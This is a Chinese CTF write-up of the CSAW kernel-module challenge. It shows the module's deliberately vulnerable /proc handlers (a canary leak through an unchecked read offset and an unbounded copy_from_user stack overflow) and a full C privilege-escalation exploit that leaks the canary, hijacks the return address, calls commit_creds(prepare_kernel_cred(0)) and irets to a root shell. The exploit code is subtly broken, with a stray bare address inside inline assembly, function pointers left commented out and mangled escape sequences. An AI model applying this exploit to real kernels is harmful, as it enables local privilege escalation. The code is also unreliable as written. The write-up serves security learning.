越来越发现内核知识的重要性,否则这道题理解起来还是挺困难的。想要理解这道题,还是要有proc文件系统相关知识的,想单独写在一篇文章里,

分析源码

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/proc_fs.h>
#include <linux/string.h>
#include <asm/uaccess.h>

#define MAX_LENGTH 64

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Jon Oberheide");
MODULE_DESCRIPTION("CSAW CTF Challenge Kernel Module");

static struct proc_dir_entry *csaw_proc;

int
csaw_write(struct file *file, const char __user *ubuf, unsigned long count, void *data)
{
    char buf[MAX_LENGTH];

    printk(KERN_INFO "csaw: called csaw_write\n");

    /*
     * We should be safe to perform this copy from userspace since our
     * kernel is compiled with CC_STACKPROTECTOR, which includes a canary
     * on the kernel stack to protect against smashing the stack.
     *
     * While the user could easily DoS the kernel, I don't think they
     * should be able to escalate privileges without discovering the
     * secret stack canary value.
     */
    if (copy_from_user(&buf, ubuf, count)) {
        printk(KERN_INFO "csaw: error copying data from userspace\n");
        return -EFAULT;
    }

    return count;
}

int
csaw_read(char *page, char **start, off_t off, int count, int *eof, void *data)
{
    char buf[MAX_LENGTH];

    printk(KERN_INFO "csaw: called csaw_read\n");

    *eof = 1;
    memset(buf, 0, sizeof(buf));
    strcpy(buf, "Welcome to the CSAW CTF challenge. Best of luck!\n");
    memcpy(page, buf + off, MAX_LENGTH);

    return MAX_LENGTH;
}

static int __init
csaw_init(void)
{
    printk(KERN_INFO "csaw: loading module\n");

    csaw_proc = create_proc_entry("csaw", 0666, NULL);
    csaw_proc->read_proc = csaw_read;
    csaw_proc->write_proc = csaw_write;

    printk(KERN_INFO "csaw: created /proc/csaw entry\n");

    return 0;
}

static void __exit
csaw_exit(void)
{
    if (csaw_proc) {
        remove_proc_entry("csaw", csaw_proc);
    }

    printk(KERN_INFO "csaw: unloading module\n");
}

module_init(csaw_init);
module_exit(csaw_exit);

csaw_read()

memcpy(page, buf + off, MAX_LENGTH);
会把buf+一段偏移后的内容拷贝到page页面,但是拷贝的字节数总是64,因此可以通过调整偏移将canary打印出来,然后通过构造payload提权,格式如下:
junk + canary + ret(利用函数)

csaw_write

使用copy_from_user 从用户空间拷贝数据,但是没有限制个数,导致溢出

Exploit

#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
void launch_shell(void) 
{ 
    execl("/bin/sh", "sh", NULL);
}
struct fake_trap_frame{
    void *eip;
    uint32_t cs;
    uint32_t eflags;
    void *esp;
    uint32_t ss;
}__attribute__((packed));
struct fake_trap_frame fake_tf;
void prepare_tf(void){
    asm("pushl %cs;"
        "popl fake_tf+4;"
        "pushfl;"
        "popl fake_tf+8;"
    "pushl %esp;"
    "popl fake_tf+12;"
        "pushl %ss;"
    "popl fake_tf+16;");
    fake_tf.eip = &launch_shell;
    fake_tf.esp -= 1024;
}
/*
#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xc1069d20;
void (*commit_creds)(void*) KERNCALL = (void*) 0xc1069b80;
*/
void get_root(void){
    commit_creds(prepare_kernel_cred(0));
    asm("xor %eax,%eax;"
        "call 0xc1069d20;"
    "0xc1069b80;"
        "mov $fake_tf,%esp;"
    "iret;");
}

int main(){
    int fd = open("/proc/csaw",O_RDWR);
    if(!fd){
        printf("errorn");
        exit(1);
    }
    lseek(fd,16,SEEK_CUR);
    char buffer[64] = {0};
    read(fd,buffer,64);
    int i,j;
   // memset(buffer,0x41,64);
    for(i = 0;i<4;i++){
        for(j = 0;j<16;j++){
            printf("%02x ",buffer[i*16+j] & 0xff);
        }
        printf(" | ");
        for(j = 0;j<16;j++){
            printf("%c",buffer[i*16+j] & 0xff);
        }
        printf("\n");
    }
    char canary[4] = {0};
    memcpy(canary,buffer+32,4);
    printf("CANARY:");
    for(i = 0;i<4;i++){
        printf("%02x",canary[i] & 0xff);
    }
    printf("n");
    char exp_buf[0x60];
    memset(exp_buf,0x41,sizeof(exp_buf));
    memcpy(exp_buf+0x40,canary,4);
    *((void**)(exp_buf+0x50))=&get_root;
    prepare_tf();
    write(fd,exp_buf,sizeof(exp_buf));
    close(fd);
    return 0;
}

调试

在csaw_write下断点,找到ret地址下断点
ret

运行到ret时,查看栈顶指针对应的汇编

可以发现已经可以执行我们的payload

preView